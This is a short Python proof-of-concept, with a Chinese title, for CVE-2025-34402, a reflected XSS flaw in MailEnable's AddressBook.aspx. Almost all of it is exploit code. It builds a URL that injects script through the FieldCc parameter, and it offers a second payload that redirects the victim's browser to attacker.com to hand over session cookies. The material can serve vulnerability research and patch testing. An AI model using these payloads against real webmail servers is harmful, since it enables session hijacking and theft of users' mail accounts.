CVE-2025-34402 MailEnable AddressBook.aspx 反射型XSS漏洞

import urllib.parse # CVE-2025-34402 PoC - MailEnable Reflected XSS in AddressBook.aspx # Target URL: http(s)://<target>/Mondo/lang/sys/Forms/AddressBook.aspx base_url = "http://vulnerable-server/Mondo/lang/sys/Forms/AddressBook.aspx" # Malicious payload to execute arbitrary JavaScript # This payload terminates the existing LoadCurAddresses() function, # inserts attacker-controlled script, and comments out remaining code payload = "');alert(document.cookie);//" # URL-encode the payload encoded_payload = urllib.parse.quote(payload) # Construct the exploit URL # The FieldCc parameter is reflected in JavaScript without sanitization exploit_url = f"{base_url}?FieldCc={encoded_payload}" print(f"Target: MailEnable < 10.54") print(f"Vulnerability: Reflected XSS in FieldCc parameter") print(f"Exploit URL: {exploit_url}") print("\nWhen victim visits this URL and attempts to send an email,") print("the malicious JavaScript will be executed in their browser.") # Alternative payload for cookie stealing steal_cookie_payload = "');window.location='https://attacker.com/steal?c='+document.cookie;//" print(f"\nCookie stealing payload: {urllib.parse.quote(steal_cookie_payload)}")